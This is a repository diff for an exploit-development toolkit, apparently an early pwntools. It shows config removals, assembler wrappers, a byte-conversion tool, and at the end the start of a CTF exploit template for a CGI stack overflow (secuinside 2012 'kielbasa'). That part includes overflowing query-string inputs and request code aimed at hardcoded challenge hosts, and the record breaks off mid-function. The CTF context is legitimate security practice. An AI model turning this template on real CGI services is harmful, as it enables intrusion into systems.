runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Check for merge conflict markers commited
run: |
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
echo 'WARNING: Merge marker commits found in history.'
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
echo 'ERROR: Merge markers still present! Do something!'
exit 1
fi
else
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
fi
-36
View File
@@ -1,36 +0,0 @@
name: PyLint
on: [pull_request]
jobs:
build:
strategy:
matrix:
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: PyLint
run: |
set -x
pip install 'pylint<4'
pip install --upgrade -e .
run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
run_pylint > current.txt
git fetch origin
git checkout origin/"$GITHUB_BASE_REF"
run_pylint > base.txt
if diff base.txt current.txt | grep '>'; then
false
fi
-18
View File
@@ -2,23 +2,5 @@
*.hi
*.pyc
*~
*.swp
.ropeproject
*.pdf
*/auto/*
*/bin/*
docs/build
build
MANIFEST
dist
venv
.vscode
.idea
*.egg-info
*.core
.coverage
.coverage.*
.idea
__pycache__
!.github
.DS_Store
+3
View File
@@ -0,0 +1,3 @@
[submodule "lib/rpyc"]
path = lib/rpyc
url = https://github.com/tomerfiliba/rpyc.git
-4
View File
@@ -1,4 +0,0 @@
[settings]
indent=' '
not_skip = __init__.py
force_single_line = 1
-15
View File
@@ -1,15 +0,0 @@
# https://docs.readthedocs.io/en/stable/config-file/v2.html
version: 2
build:
os: ubuntu-22.04
tools:
python: "3.12"
sphinx:
configuration: docs/source/conf.py
python:
install:
- requirements: docs/requirements.txt
-7
View File
@@ -1,7 +0,0 @@
{
"default_encoding": "UTF-8",
"ensure_newline_at_eof_on_save": true,
"tab_size": 4,
"translate_tabs_to_spaces": true,
"trim_trailing_white_space_on_save": true
}
-1355
View File
File diff suppressed because it is too large. Load diff
-35
View File
@@ -1,35 +0,0 @@
# Contributing
Github has a great guide for contributing to open source projects:
- [Contributing to a project](https://guides.github.com/activities/forking/)
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
## pwntools Specifics
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
Finally, it is probably a good idea to run the test suite locally before doing
the pull-request to make sure everything works, however this is not a
requirement.
Once you are ready to do a pull-request, you should figure out if your changes
constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
stable or beta, you should do the pull-request against the branch in question,
and otherwise your pull-request should be against the dev branch.
Once you do the pull-request Travis CI will run the test-suite on it. Once it
passes one of the core developers will look at your pull request, possibly
comment on it and then hopefully merge it into the branch in question.
## Automated Testing
Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
You can find more information on testing in [TESTING.md](TESTING.md).
-76
View File
@@ -1,76 +0,0 @@
# Using Pwntools with Docker
Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
## Quick Start
First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
Next, download and run the Pwntools stable docker image.
```sh
$ docker run -it pwntools/pwntools:stable
```
## Recommended Settings
In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
```sh
$ docker run -it \
--privileged \
--net=host \
--hostname localhost \
--ulimit core=-1:-1 \
pwntools/pwntools:stable
```
## Sharing a Folder
It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image. This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).
With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
```sh
$ mkdir $HOME/exploits
$ vim $HOME/exploits/my_exploit.py
$ docker run -it \
--privileged \
--net=host \
--hostname localhost \
--ulimit core=-1:-1 \
--mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
pwntools/pwntools:stable
$ python3 exploits/my_exploit.py
```
### Windows User Bind Mounts
If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`. The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
```sh
C:\Users\user> mkdir Desktop\exploits
C:\Users\user> code Desktop\exploits\my_exploit.py
C:\Users\user> docker run -it \
--privileged \
--net=host \
--hostname localhost \
--ulimit core=-1:-1 \
--mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
pwntools/pwntools:stable
$ python3 exploits/my_exploit.py
```
-34
View File
@@ -1,34 +0,0 @@
TL;DR version:
Everything in pwntools is open source. Most is under an MIT license, but a
few pieces are under GPL or a BSD 2-clause licence.
This license covers everything within this project, except for a few pieces
of code that we either did not write ourselves or which we derived from code
that we did not write ourselves. These few pieces have their license specified
in a header, or by a file called LICENSE.txt, which will explain exactly what
it covers. The few relevant pieces of code are all contained inside these
directories:
- pwnlib/constants/
- pwnlib/data/
Copyright (c) 2015 Gallopsled et al.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-9
View File
@@ -1,9 +0,0 @@
graft build
graft examples
graft extra
graft travis
include *.md *.txt *.sh *.yml MANIFEST.in
recursive-include docs *.rst *.png Makefile *.py *.txt
recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
recursive-include pwn *.py *.asm *.rst *.md *.txt *.sh
global-exclude *.pyc
+2
View File
@@ -0,0 +1,2 @@
1. Add the `lib' directory to your PYTHONPATH
2. Whine on #pwnies on freenode.net when stuff doesn't work
-55
View File
@@ -1,55 +0,0 @@
# pwntools - CTF toolkit
![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)
[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
[![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions)
[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
```python
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()
```
# Documentation
Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
# Installation
Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
```
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
# Contribution
See [CONTRIBUTING.md](CONTRIBUTING.md)
# Contact and Community
If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB
-32
View File
@@ -1,32 +0,0 @@
# Security Policy
## Supported Versions
| Version | Supported |
| ------------- | ------------------ |
| latest dev | :white_check_mark: |
| latest beta | :white_check_mark: |
| latest stable | :white_check_mark: |
| anything else | :x: |
## Reporting a Vulnerability
The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.
Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).
The first question to ask yourself is: is this an actual vulnerability?
- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?
- does it impact the attacker (=re-victim)?
- is it serious?
* *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)
* *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)
* *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)
* if crucial for some sophisticated exploit chain, it is always serious
* `safe_eval` bypasses **are** serious.
* an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)
- can it be fixed without compromising on Pwntools' usability?
If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.
Just e-mail the maintainers. Arusekk is the one that is currently the most excited to fix vulnerabilities.
Or create a CTF task! Prove a point the good old hacker way!
-44
View File
@@ -1,44 +0,0 @@
# Testing
Pwntools makes extensive use of unit tests and integration tests to ensure everything is in working order, and no regressions occur.
## Test Suite
To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
```sh
bash travis/install.sh
bash travis/ssh_setup.sh
pip install --upgrade --editable .
PWNLIB_NOTERM=1 make -C docs doctest
```
## Testing in Docker
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial. It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
See `travis/docker/README.md` for more information.
## New Tests
To add a new test to an existing module, just add an inline doctest. If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/<module>.rst`.
To add an entirely new module, create a new `module.rst` and add it to the list in `index.rst`. The best way to see if your tests are actually being run is to add an intentionally-failing test like:
```py
>>> assert False
```
## Example Test Module
The module `pwnlib.testexample` exists to demonstrate how everything is tied together. The only files which were modified to add this example module and run its tests automatically are:
- `pwnlib/testexample.py`
- `docs/source/testexample.rst`
- `docs/source/index.rst`
## Shellcode and ROP
These are both less easy to test, as they require actually executing code, or loading real binaries. In order to make the process simpler, the `runner` library was created to wrap common tasks. For an example of testing shellcode with these helpers, see [exit.asm](pwnlib/shellcraft/templates/i386/linux/exit.asm).
Additionally, for loading ELF files on-the-fly, the helpers `ELF.from_bytes` and `ELF.from_assembly` are available.
Executable
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/python
import argparse, tempfile, sys, subprocess, os
parser = argparse.ArgumentParser()
parser.add_argument('lines', metavar='line', nargs='*', help='Lines to assemble. If none are supplied, use stdin')
parser.add_argument("-b", "--bits", help="The assembly mode", choices=[16,32,64], default=32, type=int)
parser.add_argument("-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex'])
parser.add_argument("-o", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('w'), default=sys.stdout)
parser.add_argument("-O", metavar='level', help="Optimization options to pass to nasm", choices = ['0', '1', 'x'], default='x')
args = parser.parse_args()
if args.format == None:
if args.o.isatty():
args.format = 'hex'
else:
args.format = 'raw'
tmp = tempfile.NamedTemporaryFile(suffix='.asm')
tmpname = tmp.name
tmp.write('[BITS %d]\n' % args.bits)
if len(args.lines) > 0:
tmp.write('\n'.join(args.lines))
else:
tmp.write(sys.stdin.read())
tmp.flush()
try:
retval = subprocess.call(['nasm', '-O' + args.O, '-o', tmpname + '.out', tmpname], stdout=sys.stderr, stderr=sys.stderr)
tmp.close()
if retval != 0:
sys.exit(retval)
with open(tmpname + '.out') as f:
output = f.read()
if args.format == 'raw':
args.o.write(output)
elif args.format == 'hex':
args.o.write(output.encode('hex') + '\n')
else:
raise Exception("Unknown output format") # This really shouldn't happen
args.o.flush()
finally:
try:
os.unlink(tmpname + '.out')
except:
pass
Executable
+19
View File
@@ -0,0 +1,19 @@
#!/usr/bin/python
import argparse, tempfile, sys, subprocess, os, readline
parser = argparse.ArgumentParser()
parser.add_argument('hex', metavar='hex', nargs='?', help='Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.')
parser.add_argument("-b", "--bits", help="The disassembly mode", choices=['16','32','64'], default='32')
args = parser.parse_args()
tmp = tempfile.NamedTemporaryFile(suffix='.bin')
tmpname = tmp.name
if args.hex != None:
tmp.write(args.hex.decode("hex"))
else:
tmp.write(sys.stdin.read())
tmp.flush()
sys.exit(subprocess.call(['ndisasm', '-b' + args.bits, tmpname], stdout=sys.stderr, stderr=sys.stderr))
Symlink
+1
View File
@@ -0,0 +1 @@
../asm/asm
Symlink
+1
View File
@@ -0,0 +1 @@
../visualization/binvis.py
Symlink
+1
View File
@@ -0,0 +1 @@
../bytes/bin/bytes
Symlink
+1
View File
@@ -0,0 +1 @@
../crop/bin/crop
Symlink
+1
View File
@@ -0,0 +1 @@
../cyclic/cyclic
Symlink
+1
View File
@@ -0,0 +1 @@
../demo/demo32
Symlink
+1
View File
@@ -0,0 +1 @@
../demo/demo64
+1
View File
@@ -0,0 +1 @@
../dictgen/dictgen
Symlink
+1
View File
@@ -0,0 +1 @@
../asm/disasm
+1
View File
@@ -0,0 +1 @@
../gadgets/gadgets
+1
View File
@@ -0,0 +1 @@
../pil/getdata
Symlink
+1
View File
@@ -0,0 +1 @@
../hex/hex
Symlink
+1
View File
@@ -0,0 +1 @@
../mags/mags
Symlink
+1
View File
@@ -0,0 +1 @@
../nops/nops
Symlink
+1
View File
@@ -0,0 +1 @@
../poke/peek
Symlink
+1
View File
@@ -0,0 +1 @@
../poke/poke
+1
View File
@@ -0,0 +1 @@
../randomua/randomua
+1
View File
@@ -0,0 +1 @@
../scramble/scramble
+1
View File
@@ -0,0 +1 @@
../pil/setdata
+1
View File
@@ -0,0 +1 @@
../shellcraft/shellcraft
Symlink
+1
View File
@@ -0,0 +1 @@
../unhex/unhex
Symlink
+1
View File
@@ -0,0 +1 @@
../wrap/wrap32
Symlink
+1
View File
@@ -0,0 +1 @@
../wrap/wrap64
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
# This script was used to generate the binaries in this folder
# Its mostly untested and probably assumes stuff about the system it runs on
#
# USE WITH CAUTION
if [ -z "$1" ]; then
echo "Usage: $0 target"
exit 0
fi
TARGET="$1"
export CFLAGS="-m32 -Os -fno-exceptions -fno-asynchronous-unwind-tables -fno-unwind-tables -ffunction-sections -fdata-sections -Wl,--gc-sections -Wno-error=unused-but-set-variable -Wno-error=format-security"
export MAKEFLAGS='-j 4'
cd ~/src; rm -rf binutils-"$TARGET"-build; mkdir binutils-"$TARGET"-build; cd binutils-"$TARGET"-build/
time { ../binutils-2.22/configure --disable-libquadmath --disable-libquadmath-support --disable-nls --enable-no_exceptions --enable-no_rtti --disable-ppl-version-check --disable-cloog-version-check --disable-foo --without-fp --disable-intl --disable-gprof --disable-ld --target="$TARGET"-linux; make; make; } || exit 1
for f in gas/as-new binutils/objdump binutils/objcopy; do
strip -s --strip-all --remove-section=.comment --remove-section=.note $f
upx -qqq --best --ultra-brute $f
du -hs $f
done
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
.PHONY: all
all:
premlton src/bytes.mlb
mv src/bytes bin/bytes
BIN
View File
Binary file not shown.
Submodule
+1
Submodule bytes/mylib added at 0aa9e1e66f.
+16
View File
@@ -0,0 +1,16 @@
signature Log =
sig
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val setLevel : level -> unit
val setIndentation : int -> unit
val indent : int -> unit
val debug : string -> unit
val verbose : string -> unit
val chatty : string -> unit
val normal : string -> unit
val warning : string -> unit
end
+49
View File
@@ -0,0 +1,49 @@
structure Log :> Log =
struct
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val level = ref Normal
val ind = ref 0
fun setLevel l = level := l
fun setIndentation n = ind := n
fun indent n = ind := (!ind + n)
fun print s = if !ind > 0
then println (String.spaces (!ind) ^ s)
else println s
fun debug s =
if !level = Debug
then print s
else ()
fun verbose s =
if !level = Verbose
then print s
else debug s
fun chatty s =
if !level = Chatty
then print s
else verbose s
fun normal s =
if !level <> Quiet
then print s
else ()
fun warning s =
(TextIO.output (TextIO.stdErr,
if !level = Quiet
then s ^ "\n"
else String.spaces (!ind) ^ s ^ "\n"
)
; TextIO.flushOut TextIO.stdErr)
end
+10
View File
@@ -0,0 +1,10 @@
local
$(SML_LIB)/basis/basis.mlb
../mylib/MyLib.mlb
in
Log.sig
Log.sml
%pre main.sml
%pre go.sml
end
+188
View File
@@ -0,0 +1,188 @@
val version = "0.0.1"
fun usage name =
map println
["usage: % [options] [file]" <- name
, ""
, "Options: (default marked by *)"
, " -r, --radix"
, " *a Auto"
, " b Binary"
, " o Octal"
, " d Decimal"
, " h Hexadecimal"
, " -u, --unsigned"
, " -p, --plain"
, " -g, --groupsize"
, " *a Auto"
, " n Groups of n bytes"
, " -e, --endian"
, " *l Little"
, " b Big"
, " -i, --inter-byte-endian"
, " l Little"
, " *b Big"
, " -o <file>"
]
fun printVersionAndExit () = (println ("bytes version " ^ version)
; OS.Process.exit OS.Process.success)
fun printUsageAndExit () = (usage $ CommandLine.name ()
; OS.Process.exit OS.Process.success)
fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
local
val radix = ref NONE
val unsigned = ref false
val plain = ref false
val groupsize = ref NONE
val endian = ref Little
val bendian = ref Big
val src = ref NONE
val dst = ref NONE
fun setRadix x = radix := SOME x
fun setUnsigned () = unsigned := true
fun setPlain x = plain := true
fun setGroupsize x = groupsize := SOME x
fun setBendian x = bendian := x
fun setEndian x = endian := x
fun setSrc x = case !src of
SOME s => raise Fail ("Only one source file allowed \
\(you already told me '" ^ s ^ "')")
| NONE => src := SOME x
fun setDst x = dst := SOME x
fun getOpt () =
let
val src = case !src of
SOME "-" => TextIO.stdIn
| SOME f => TextIO.openIn f
| NONE => printUsageAndExit ()
val dst = case !dst of
SOME f => TextIO.openOut f
| NONE => TextIO.stdOut
in
(!radix, !unsigned, !plain, !groupsize, !endian, !bendian, src, dst)
end
handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
raise Fail (desc ^ ": '" ^ name ^ "'")
in
fun parseArgs args =
let open Parser val op >>= = op --> infix >>> ||| --|
fun unknownOpt k v =
raise Fail ("Unknown option (%): %" <- k <- v)
val args =
List.concatMap
(fn arg =>
case explode arg of
#"-" :: c :: cs =>
if c <> #"-" andalso not $ null cs
then [String.substring (arg, 0, 2)
, String.extract (arg, 2, NONE)]
else [arg]
| _ => [arg])
args
val radix =
do tok <- any
; return
(case tok of
"binary" => setRadix Bin
| "b" => setRadix Bin
| "octal" => setRadix Oct
| "o" => setRadix Oct
| "decimal" => setRadix Dec
| "d" => setRadix Dec
| "hexadecimal" => setRadix Hex
| "h" => setRadix Hex
| "auto" => ()
| "a" => ()
| _ => unknownOpt "--radix" tok
)
end
val groupsize =
do tok <- any
; return
(case Int.fromString tok of
SOME n => setGroupsize n
| NONE =>
case tok of
"a" => ()
| "auto" => ()
| _ => unknownOpt "--groupsize" tok
)
end
val endian =
any >>>
(fn "l" => setEndian Little
| "little" => setEndian Little
| "b" => setEndian Big
| "big" => setEndian Big
| tok => unknownOpt "--endian" tok
)
val bendian =
any >>>
(fn "l" => setBendian Little
| "little" => setBendian Little
| "b" => setBendian Big
| "big" => setBendian Big
| tok => unknownOpt "--inter-byte-endian" tok
)
fun help ? = (return $ printUsageAndExit ()) ?
val one =
do tok <- any
; case tok of
"--radix" => radix
| "-r" => radix
| "--unsigned" => return $ setUnsigned ()
| "-u" => return $ setUnsigned ()
| "--plain" => return $ setPlain ()
| "-p" => return $ setPlain ()
| "--groupsize" => groupsize
| "-g" => groupsize
| "--endian" => endian
| "-e" => endian
| "--inter-byte-endian" => bendian
| "-i" => bendian
| "-o" => any >>> setDst
| "--help" => help
| "-h" => help
| "-?" => help
| "--version" => return $ printVersionAndExit ()
| _ => return $ setSrc tok
end
val parse =
do many' one
; eof
end
in
case Parse.list parse args of
Right _ => getOpt ()
| Left ({token = SOME x, ...} :: _) =>
raise Fail ("Could not parse command line arguments\
\ (failed on '" ^ x ^ "')")
| Left _ =>
raise Fail ("Could not parse command line arguments")
end
end
fun verify (args as (radix, unsigned, plain, groupsize, endian, bendian, _, _)) =
((if plain andalso (radix = SOME Oct orelse radix = SOME Dec)
then raise Fail "Only hex and binary allowed in plain mode"
else ())
; Option.map (fn n => if n <= 0
then raise Fail "Groupsize must be strictly positive"
else ()) groupsize
; args
)
fun go () =
main $ verify $ parseArgs $ CommandLine.arguments ()
handle Fail s => die s
val _ = go ()
+226
View File
@@ -0,0 +1,226 @@
fun impossible s = raise Fail $ "Impossible: %" <- s
datatype radix
= Bin
| Oct
| Dec
| Hex
datatype format
= Plain
datatype endian
= Little
| Big
fun main (radix, unsigned, plain, groupsize, endian, bendian, src, dst) =
let open Parser val op >>= = op -->
open (oneOf, noneOf, char, string, strings, whitespace, alphaNum) Text
infix 0 |||
infix 1 --- |-- --| ^^^ ::: @@@
infix 2 >>> >>= ??? produce underlies
open IntInf
fun offset n c = fromInt $ Int.- (ord c, n)
val bindig =
oneOf "01" >>> offset 0x30
val octdig =
oneOf "01234567" >>> offset 0x30
val decdig =
oneOf "0123456789" >>> offset 0x30
val hexdig =
oneOf "0123456789" >>> offset 0x30
||| oneOf "abcdef" >>> offset 0x57
||| oneOf "ABCDEF" >>> offset 0x37
val bin = many1 bindig
val oct = many1 octdig
val dec = many1 decdig
val hex = many1 hexdig
fun signed p = do oneOf "-~"
; (b, _, n) <- p
; return (b, ~1, n)
end ||| p
fun valuate (b, s, ns) = s * foldl (fn (d, s) => s * b + d) 0 ns
fun read strm = Option.map (, strm) $ TextIO.input1 src
fun write1 b =
TextIO.output1 (dst, chr $ Int.fromLarge b)
fun groups n e xs =
(if e = Little then rev else id) (List.take (xs, n)) ::
groups n e (List.drop (xs, n))
handle Subscript => []
fun goPlain () =
let
val groupsize = getOpt (groupsize, 1)
(* val radix = getOpt (radix, Hex) *)
(* a byte is `n` base `b` digits in `e` endian order *)
fun go n b =
app write1 o
List.concat o
groups groupsize endian o
map (valuate o (b, 1, )) o
groups n bendian o
List.concat
in
case radix of
SOME Hex =>
do whitespace
; ds <- many $ Lex.lexeme hex
; eof
; return $ go 2 16 ds
end
| SOME Bin =>
do whitespace
; ds <- many $ Lex.lexeme bin
; eof
; return $ go 8 2 ds
end
| NONE =>
do whitespace
; ds <- many $ Lex.lexeme hex
; eof
; return (
if List.all (List.all (fn d => d = 0 orelse d = 1)) ds
then go 8 2 ds
else go 2 16 ds
)
end
| _ => impossible "main.goPlain"
end
fun goAuto () =
let
val auto = try do strings ["0x", "0X", "\\x", "\\X"]
; hex >>> (SOME 16, 1,)
end |||
try do d <- decdig
; ds <- hex
; char #"h"
; return (SOME 16, 1, ds)
end |||
try do ds <- oct
; char #"o"
; return (SOME 8, 1, ds)
end |||
(* try do char #"0" *)
(* ; oct >>> (SOME 8, 1,) *)
(* end ||| *)
try do char #"\\"
; count 3 octdig >>> (SOME 8, 1,)
end |||
hex >>> (NONE, 1,)
val num =
(if unsigned then id else signed)
(case radix of
NONE => auto
| SOME Bin => bin >>> (SOME 2, 1,)
| SOME Oct => oct >>> (SOME 8, 1,)
| SOME Dec => dec >>> (SOME 10, 1,)
| SOME Hex => hex >>> (SOME 16, 1,)
)
fun autosize ns =
let
val (min, max) = foldl (fn (x, (min, max)) =>
if x < min then (x, max)
else if x > max then (min, x)
else (min, max)) (0, 0) ns
fun isZero n = sign n = 0
fun log n =
if isZero n
then 0
else Int.+ (1, log (n div 256))
in
Int.max(1, if min < 0
then log (max - min)
else log max)
end
fun autobase ns =
case List.partition (fn (mbb, _, _) => mbb <> NONE) ns of
(nil, ns) =>
let
val max = foldl IntInf.max 0
val b = max $ map (fn (_, _, ds) => max ds) ns
val b = case (b >= 10, b >= 2) of
(true, _) => 16
| (_, true) => 10
| _ => 2
in
map (fn (_, s, ns) => (b, s, ns)) ns
end
| (ns, _) => map (fn (mbb, s, ns) => (valOf mbb, s, ns)) ns
val isbits = List.all (fn (b, s, ns) => b = 2 andalso
s = 1 andalso
length ns = 1)
(* Negative numbers just work magically *)
fun write n x =
let
fun loop 0 _ = []
| loop n x =
let
val (b, x') = (x mod 256
, x div 256)
in
b :: loop (Int.- (n, 1)) x'
end
in
case endian of
Little => app write1 $ loop n x
| Big => app write1 $ rev $ loop n x
end
fun binary ns =
let
val groupsize = case groupsize of
NONE => 1
| SOME n => n
val bits = map (fn (_, _, ds) => hd ds) ns
val bytes = map (valuate o (2, 1,)) $ groups 8 bendian bits
val words = List.concat $ groups groupsize endian bytes
in
app write1 words
end
fun regular ns =
let
val vs = map valuate ns
val groupsize = case groupsize of
NONE => autosize vs
| SOME n => n
in
app (write groupsize) vs
end
in
do ns <- many $ match num
; ns := autobase ns
; return (if isbits ns
then binary ns
else regular ns)
end
end
val go =
if plain
then goPlain ()
else try (goPlain ()) ||| goAuto ()
in
Parse.testString go $ TextIO.inputAll src
(* test (fn c => "'" ^ str c ^ "'") *)
(* go *)
(* (Option.map (, src) o TextIO.input1) *)
(* src *)
end
+2
View File
@@ -0,0 +1,2 @@
Files used to exploit the CGI binary in the kielbasa challenge from secuinside 2012.
Can be used as a template for exploiting CGI binaries by stack overflow.
+10
View File
@@ -0,0 +1,10 @@
#!/bin/sh
echo wpxlc7BG > log/1339253868.log
export REQUEST_METHOD="GET"
export REMOTE_ADDR=127.0.0.1
export REMOTE_PORT=4242
export HTTP_USER_AGENT=awesome
export QUERY_STRING='q=sent&t_s=133925386800000000000000000000009&v=wpxlc7BG000000000000000000000000xxxxxxxxxxxxxxxxxxxxxxxx1'
#./captcha.cgi
gdbserver --once localhost:23946 ./captcha.cgi
#./handle_sent
+19
View File
@@ -0,0 +1,19 @@
#!/usr/bin/env python3
import sys
import kielbasa
if len(sys.argv) > 1:
ts = bytes(sys.argv[1], 'ASCII')
else:
ts = b'1339253868'
if len(sys.argv) > 2:
v = bytes(sys.argv[2], 'ASCII')
else:
v = b'wpxlc7BG'
f = open('log/'+str(ts, 'ASCII')+'.log', 'wb')
f.write(v)
f.close()
(ts_par, v_par) = kielbasa.exploit1_qs(ts, v)
print(str(kielbasa.request_remote('sent', ts_par, v_par, debug=False), 'UTF-8'))
+104
View File
@@ -0,0 +1,104 @@
import socket
import re
import struct
import os
import sys
from subprocess import Popen
from subprocess import PIPE
def is_digit(c):
return not b'ERROR t_s digit' in request('sent', bytes([c]), None)
def _make_querystring(q, t_s = None, v = None):
qs = b'?q=' + bytes(q, 'ASCII')
if t_s != None:
qs += b'&t_s=' + t_s
if v != None:
qs += b'&v=' + v
return qs
def request(q, t_s = None, v = None, useragent = None, remote=True, debug=False):
if remote:
return request_remote(q, t_s, v, useragent)
else:
return request_local(q, t_s, v, useragent, debug)
def request_remote(q,t_s = None, v = None, useragent = None, debug = False):
if debug:
path='/cgi-bin/captcha-debug.cgi'
host='10.10.10.245'
else:
path='/captcha/captcha.cgi'
host='61.42.25.20'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
